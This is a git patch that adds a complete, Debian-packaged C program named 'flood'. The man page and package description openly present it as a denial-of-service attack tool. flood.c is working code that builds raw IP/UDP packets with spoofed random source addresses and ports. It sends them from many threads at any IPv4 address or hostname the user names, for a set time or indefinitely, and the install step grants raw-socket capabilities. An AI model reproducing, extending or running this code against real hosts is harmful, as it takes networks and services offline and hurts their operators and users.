From 65ce53bab412623b6b7b39f2fba3536619175537 Mon Sep 17 00:00:00 2001 From: Jake Mannens Date: Tue, 5 Apr 2016 13:52:34 +1000 Subject: new file: Makefile new file: build.sh new file: man/flood.1.pod new file: package/DEBIAN/control new file: package/usr/share/doc/flood/README.gz new file: package/usr/share/doc/flood/changelog.gz new file: package/usr/share/doc/flood/copyright new file: package/usr/share/man/man1/flood.1.gz new file: source/Makefile new file: source/flood.c new file: version --- Makefile | 15 +++ build.sh | 12 ++ man/flood.1.pod | 83 ++++++++++++ package/DEBIAN/control | 13 ++ package/usr/share/doc/flood/README.gz | Bin 0 -> 447 bytes package/usr/share/doc/flood/changelog.gz | Bin 0 -> 184 bytes package/usr/share/doc/flood/copyright | 20 +++ package/usr/share/man/man1/flood.1.gz | Bin 0 -> 2881 bytes source/Makefile | 26 ++++ source/flood.c | 224 +++++++++++++++++++++++++++++++ version | 1 + 11 files changed, 394 insertions(+) create mode 100644 Makefile create mode 100755 build.sh create mode 100644 man/flood.1.pod create mode 100644 package/DEBIAN/control create mode 100644 package/usr/share/doc/flood/README.gz create mode 100644 package/usr/share/doc/flood/changelog.gz create mode 100644 package/usr/share/doc/flood/copyright create mode 100644 package/usr/share/man/man1/flood.1.gz create mode 100644 source/Makefile create mode 100644 source/flood.c create mode 100644 version diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..8505ce6 --- /dev/null +++ b/Makefile @@ -0,0 +1,15 @@ +all: package + +package: flood + ./build.sh + +flood: + make -C source + +clean: + make -C source clean + rm -rf build + rm -rf *.deb + +install: package + dpkg -i *.deb diff --git a/build.sh b/build.sh new file mode 100755 index 0000000..f8b5c00 --- /dev/null +++ b/build.sh @@ -0,0 +1,12 @@ +#!/bin/bash + +VERSION=$(cat version) +rm -rf build +cp -r package build +echo "Version: $VERSION" >> build/DEBIAN/control +cp source/flood build/usr/bin +strip build/usr/bin/flood +cd build +for file in `find usr -type f`; do md5sum $file >> DEBIAN/md5sums; done +cd .. +dpkg --build build "flood_$VERSION""_amd64.deb" diff --git a/man/flood.1.pod b/man/flood.1.pod new file mode 100644 index 0000000..4790741 --- /dev/null +++ b/man/flood.1.pod @@ -0,0 +1,83 @@ +=head1 NAME + +flood - perform a DoS attack + +=head1 SYNOPSIS + +Flood the target computer with packets. + +B [ B<-d> I ] [ B<-s> I ] [ B<-t> I ] I
+ +=head1 DESCRIPTION + +B is a program designed to perform a DoS (denial-of-service) attack +against a target computer. The target can either be a host on a local +network, a host on the Internet or any other reachable IPv4 destination. + +=head2 Types of Attack + +B can currently execute two different types of DoS attacks; a UDP +flood and a SYN flood. + +=head3 UDP Flood + +A UDP flood involves sending UDP packets of a fixed length carrying +arbitrary data. The packets are given random source addresses as well as +random source and destination ports. This attack primarily relies on the +volume of packets being transmitted to overwhelm a target. A UDP flood +can also strain a target of other resources such as memory and processor +time. When an most operating systems receive a UDP packet on a closed port, +they respond with an ICMP packet to indicate the failure. Transmitting +these ICMP packets also costs the target valueable resources. + +=head3 SYN Flood + +A SYN flood involves sending TCP SYN (synchronize) packets to the target. +The goal of this attack is to starve the targets possible clients by +creating dozens of 'half-open' connections. + +=head1 OPTIONS + +The following options are accepted: + +=over 8 + +=item B<-d> I + +Specify the duration of the attack in seconds. + +=item B<-s> I + +Overrides the default packet size. + +=item B<-t> I + +Set the number of threads to attack with. + +=item I
+ +Target host to attack. I
can either be an IPv4 +address or a DNS hostname. DNS names will automatically +be resolved. + +=back + +=head1 RETURN VALUE + +Exit status is 0 if B is able to begin the attack without +any errors. If errors occur (such as the result of a bad address), +the exit status is -1. + +=head1 EXAMPLES + +B -d 60 example.com + +Floods I for 1 minute. + +=head1 AUTHOR + +Jake Mannens + +=head1 SEE ALSO + +B(7), B(7). diff --git a/package/DEBIAN/control b/package/DEBIAN/control new file mode 100644 index 0000000..42d0bb2 --- /dev/null +++ b/package/DEBIAN/control @@ -0,0 +1,13 @@ +Package: flood +Architecture: amd64 +Maintainer: Jake Mannens +Installed-Size: 40 +Depends: libc6 (>= 2.14), libgcc1 (>= 1:4.1.1) +Conflicts: flood +Replaces: flood +Section: devel +Priority: optional +Description: tool for DoS attacks such as UDP floods + flood can execute a 'denial of service' attack + against network hosts by flooding them with + UDP packets. diff --git a/package/usr/share/doc/flood/README.gz b/package/usr/share/doc/flood/README.gz new file mode 100644 index 0000000..567707c Binary files /dev/null and b/package/usr/share/doc/flood/README.gz differ diff --git a/package/usr/share/doc/flood/changelog.gz b/package/usr/share/doc/flood/changelog.gz new file mode 100644 index 0000000..a2e7cbe Binary files /dev/null and b/package/usr/share/doc/flood/changelog.gz differ diff --git a/package/usr/share/doc/flood/copyright b/package/usr/share/doc/flood/copyright new file mode 100644 index 0000000..58f4a50 --- /dev/null +++ b/package/usr/share/doc/flood/copyright @@ -0,0 +1,20 @@ +Files: * +Copyright: 2016-2017 Jake Mannens +License: + + This package is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This package is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this package; if not, write to the Free Software + Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + +On Debian systems, the complete text of the GNU General +Public License can be found in `/usr/share/common-licenses/GPL'. diff --git a/package/usr/share/man/man1/flood.1.gz b/package/usr/share/man/man1/flood.1.gz new file mode 100644 index 0000000..64f9b5b Binary files /dev/null and b/package/usr/share/man/man1/flood.1.gz differ diff --git a/source/Makefile b/source/Makefile new file mode 100644 index 0000000..2cd8f59 --- /dev/null +++ b/source/Makefile @@ -0,0 +1,26 @@ +TARGET = flood + +INSTALL_DIR = /usr/bin + +SRCS = $(wildcard *.c) + +CFLAGS = -pthread +CC = gcc $(CFLAGS) + +all: build + +build: $(TARGET) + +$(TARGET): $(SRCS) + $(CC) -o $(TARGET) $(SRCS) + +clean: + rm -f $(TARGET) + +install: build + cp $(TARGET) $(INSTALL_DIR) + chown root:root $(INSTALL_DIR)/$(TARGET) + setcap cap_net_raw,cap_net_admin=eip $(INSTALL_DIR)/$(TARGET) + +uninstall: + rm -f $(INSTALL_DIR)/$(TARGET) diff --git a/source/flood.c b/source/flood.c new file mode 100644 index 0000000..bdab75a --- /dev/null +++ b/source/flood.c @@ -0,0 +1,224 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define DEFAULT_DELAY 0 +#define DEFAULT_PACKET_SIZE 1024 +#define DEFAULT_THREADS 40 + +void* udpflood_thread(void*); +void* kill_thread(void*); +void handle_signal(int); +int dns_resolve(char*, struct in_addr*); +void print_usage(char*); + +struct udpflood_args { + unsigned char running; + in_addr_t address; + size_t packet_size; +}; + +struct udpflood_args thread_args; + +char *size_suffixes[] = { "B", "KB", "GB", "TB", "PB", "EB" }; + +int main(int argc, char *argv[]) { + int i, status; + + time_t delay = DEFAULT_DELAY; + size_t packet_size = DEFAULT_PACKET_SIZE; + int threads = DEFAULT_THREADS; + + int flag; + int flags = 1; + while((flag = getopt(argc, argv, "d:s:t:")) != -1) { + switch(flag) { + case 'd': + delay = (time_t) atoi(optarg); + break; + case 's': + packet_size = (size_t) atoi(optarg); + break; + case 't': + threads = atoi(optarg); + break; + case '?': + exit(EXIT_FAILURE); + break; + } + flags++; + } + + if(argc - flags < 1) { + printf("%s: Missing Address!\n", argv[0]); + print_usage(argv[0]); + exit(EXIT_FAILURE); + } + + char* address_string = argv[argc - 1]; + struct in_addr address; + status = inet_aton(address_string, &address); + if(status == 0) { + status = dns_resolve(address_string, &address); + if(status == -1) { + printf("%s: Invalid Address!\n", argv[0]); + print_usage(argv[0]); + exit(EXIT_FAILURE); + } + } + + srand(time(NULL)); + signal(SIGINT, handle_signal); + + thread_args.address = address.s_addr; + thread_args.packet_size = packet_size; + thread_args.running = 1; + + printf("Flooding %s (%s)\n", address_string, inet_ntoa(address)); + if(delay == 0) { + printf(" Duration: Forever\n"); + } else { + printf(" Duration: %d seconds\n", (int) delay); + } + printf(" Threads: %d\n", threads); + i = 0; + size_t size = packet_size; + while(size >= 1024) { + size /= 1024; + i++; + } + if(i < (sizeof(size_suffixes) / sizeof(char*))) { + printf(" Packet Size: %zu%s\n", size, size_suffixes[i]); + } else { + printf(" Packet Size: %zu%s\n", packet_size, size_suffixes[0]); + } + + time_t start_time = time(NULL); + + pthread_t tids[threads]; + for(i = 0; i < threads; i++) { + pthread_create(&tids[i], NULL, &udpflood_thread, &thread_args); + } + + time_t end_time = time(NULL) + delay; + unsigned char infinite_delay = 0; + if(delay <= 0) infinite_delay = 1; + while(time(NULL) < end_time || infinite_delay && thread_args.running); + + printf("Ending attack...\n"); + if(infinite_delay) printf("Attacked for %d seconds\n", (int) (time(NULL) - start_time)); + pthread_t kill_tid; + pthread_create(&kill_tid, NULL, &kill_thread, NULL); + thread_args.running = 0; + for(i = 0; i < threads; i++) { + pthread_join(tids[i], NULL); + } + exit(EXIT_SUCCESS); +} + +void* udpflood_thread(void* args_ptr) { + int i, status; + + struct udpflood_args* args = (struct udpflood_args*) args_ptr; + + int sock_fd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP); + if(sock_fd < 0) return NULL; + int val = 1; + int* ptr = &val; + status = setsockopt(sock_fd, IPPROTO_IP, IP_HDRINCL, ptr, sizeof(val)); + if(status < 0) return NULL; + + struct ip_header { + unsigned char ihl; + unsigned char tos; + unsigned short len; + unsigned short ident; + unsigned short offset; + unsigned char ttl; + unsigned char protocol; + unsigned short checksum; + unsigned int source; + unsigned int dest; + }; + + struct udp_header { + unsigned short source_port; + unsigned short dest_port; + unsigned short len; + unsigned short checksum; + }; + + void* packet = malloc(sizeof(struct ip_header) + sizeof(struct udp_header) + args->packet_size); + memset(packet, 0, sizeof(struct ip_header) + sizeof(struct udp_header) + args->packet_size); + struct ip_header* ip = (struct ip_header*) packet; + struct udp_header* udp = (struct udp_header*) (packet + sizeof(struct ip_header)); + unsigned char* data = packet + sizeof(struct ip_header) + sizeof(struct udp_header); + for(i = 0; i < args->packet_size; i++) data[i] = rand(); + + ip->ihl = 5 | (4 << 4); + ip->tos = 46 << 2; + ip->len = sizeof(struct ip_header) + sizeof(struct udp_header) + args->packet_size; + ip->ident = htons(rand()); + ip->ttl = 64; + ip->protocol = 17; + ip->dest = args->address; + + udp->len = htons(sizeof(struct udp_header) + args->packet_size); + + struct sockaddr_in addr; + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = args->address; + + while(args->running) { + unsigned short dest_port = rand(); + ip->source = htons(rand()); + udp->source_port = htons(rand()); + udp->dest_port = htons(rand()); + ip->checksum = 0; + addr.sin_port = htons(dest_port); + sendto(sock_fd, packet, ip->len, 0, (struct sockaddr*) &addr, sizeof(addr)); + } + + free(packet); + close(sock_fd); +} + +void* kill_thread(void* args_ptr) { + time_t end_time = time(NULL) + 5; + while(time(NULL) < end_time); + printf("Failed to close threads! Terminating...\n"); + exit(EXIT_SUCCESS); +} + +void handle_signal(int signal) { + if(signal == SIGINT) { + printf("\nCaught SIGINT\n"); + thread_args.running = 0; + } +} + +int dns_resolve(char* name, struct in_addr* address) { + struct hostent *he; + he = gethostbyname(name); + if(he == NULL) return -1; + in_addr_t **addr = (in_addr_t**) he->h_addr_list; + address->s_addr = *addr[0]; + return 0; +} + +void print_usage(char* command) { + printf("Usage: %s [ -d seconds ] [ -s bytes ] [ -t threads ]
\n", command); + printf("\n"); + printf(" -d seconds Sets the duration of the attack in seconds.\n"); + printf(" -s bytes Overrides the default packet size in bytes.\n"); + printf(" -t threads Specifies the number of threads for the attack.\n"); + printf("\n"); +} diff --git a/version b/version new file mode 100644 index 0000000..3eefcb9 --- /dev/null +++ b/version @@ -0,0 +1 @@ +1.0.0 -- cgit v1.3